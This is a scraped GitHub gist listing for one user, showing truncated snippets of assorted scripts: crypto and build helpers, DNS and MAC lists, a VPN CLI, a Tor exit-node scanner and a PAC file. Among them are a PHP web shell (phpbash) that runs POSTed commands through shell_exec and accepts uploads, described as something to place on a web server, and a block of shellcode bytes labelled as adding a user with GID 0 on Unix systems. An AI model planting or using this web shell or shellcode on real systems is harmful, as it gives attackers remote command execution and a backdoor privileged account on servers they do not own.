Skip to content

Instantly share code, notes, and snippets.

:electron:
Coding

NullArray

:electron:
Coding
Block or report user

Report or block NullArray

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View demo_encrypt_decrypt.sh
#!/bin/sh
keylength=8
algo=$1
[[ "$algo" = "aes" ]] && keylength=16
[[ "$algo" = "3des" ]] && keylength=24
encfile=$(mktemp -t _encXXXXXX) && \
keyfile=$(mktemp -t _encXXXXXX) && \
dd if=/dev/urandom of="$keyfile" bs="$keylength" count=1 >/dev/null 2>&1 && \
@NullArray
NullArray / atom-build.sh
Created Nov 13, 2019
one of the setup shell scripts related deploying Atom
View atom-build.sh
#!/bin/bash
if [ "$(uname)" == 'Darwin' ]; then
OS='Mac'
elif [ "$(expr substr $(uname -s) 1 5)" == 'Linux' ]; then
OS='Linux'
else
echo "Your platform ($(uname -a)) is not supported."
exit 1
fi
@NullArray
NullArray / semishell.php
Created Jul 18, 2019
Download to web server and navigate to the URL
View semishell.php
<?php
/* phpbash by Alexander Reid (Arrexel) */
if (ISSET($_POST['cmd'])) {
$output = preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1"));
foreach ($output as $line) {
echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>";
}
die();
} else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])) {
$filename = $_FILES["file"]["name"];
@NullArray
NullArray / resolvers.txt
Created Jun 20, 2019
DNSCrypt-proxy Compatible Resolvers
View resolvers.txt
aaflalo-me-gcp
aaflalo-me
adguard-dns-family
adguard-dns
adguard-dns-family-doh
adguard-dns-doh
adguard-dns-family-ipv6
adguard-dns-ipv6
ads-securedns-doh
ads-securedns-ipv6-doh
@NullArray
NullArray / MAC-by-Vendor.txt
Created Jun 3, 2019
List of valid MAC adresses sorted by vendor
View MAC-by-Vendor.txt
Misc MACs:
Num MAC Vendor
--- --- ------
0000 - 00:00:00 - XEROX CORPORATION
0001 - 00:00:01 - XEROX CORPORATION
0002 - 00:00:02 - XEROX CORPORATION
0003 - 00:00:03 - XEROX CORPORATION
0004 - 00:00:04 - XEROX CORPORATION
0005 - 00:00:05 - XEROX CORPORATION
0006 - 00:00:06 - XEROX CORPORATION
@NullArray
NullArray / protonvpn-cli.sh
Created May 29, 2019
Proton VPN manage and install. (*Nix & OSX)
View protonvpn-cli.sh
#!/usr/bin/env bash
######################################################
# ProtonVPN CLI
# ProtonVPN Command-Line Tool
#
# Made with <3 for Linux + macOS.
###
#Author: Mazin Ahmed <Mazin AT ProtonMail DOT ch>
######################################################
version=1.1.2
@NullArray
NullArray / chroma.py
Created May 22, 2019
Simple hash checker.
View chroma.py
#!/usr/bin/env python
'''
#--ANSI Colored Formatting--#
#--Mini Library by Vector --#
#--Licensed under GNU GPL3--#
'''
_ERROR_ = "The 'text' method takes two arguments.\n"
_ERROR_ += "the first one of which is mandatory. \n"
@NullArray
NullArray / tormap.py
Created Apr 10, 2019 — forked from resilar/tormap.py
map(GET(url)) over Tor exit nodes
View tormap.py
#!/usr/bin/env python
PROXY=("localhost", 9050)
CONTROLPORT=9051
COOKIE="/opt/torchroot/var/lib/tor/control_auth_cookie"
URL="http://showip.net"
OUT="scan/"
RELAY="firsthop"
EXITS="exit-addresses"
View extended-example.pac
// Simple PAC script example
function FindProxyForURL(url, host) {
if ( /*condition to pass the request through a local proxy server */ ) {
return 'PROXY 127.0.0.1:8080';
/* If you have Tor installed you can route this connection over Tor like so;*/
/* return 'PROXY 127.0.0.1:9050'; */
}
if ( /*condition to pass the request through a network proxy server */ ) {
@NullArray
NullArray / adduser.c
Created Mar 31, 2019
add user with GID 0 in *nix
View adduser.c
"\xbf\x27\x78\x9d\xde\xdb\xd5\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x18\x83\xc5\x04\x31\x7d\x11\x03\x7d\x11\xe2\xd2\x49\x54\x57"
"\xd7\xc0\x20\x30\x2a\x94\xc7\xc5\xec\xa4\xde\x97\x64\xb4\x93"
"\x60\x10\x52\x7b\xa0\xa8\xc3\xeb\x91\x2d\x70\x8f\x64\x4e\x39"
"\xfa\x73\x5d\x3a\x97\x94\x7b\x3b\x98\x64\xf0\x4e\xfc\x05\x93"
"\xdd\x93\xab\x61\x5f\x16\x1b\xf1\x16\x95\x09\xcd\xd8\x6d\x87"
"\x7f\x7a\xb4\x27\x45\x4c\xf2\x7d\x96\x96\x2d\xe0\x81\x88\x1e"
"\x97\x39\x5f\x38\xdc\xe8\xa3\xd0\xe6\x52\x91\xa5\x8d\x63\x71"
"\x6b\xd1"
You can’t perform that action at this time.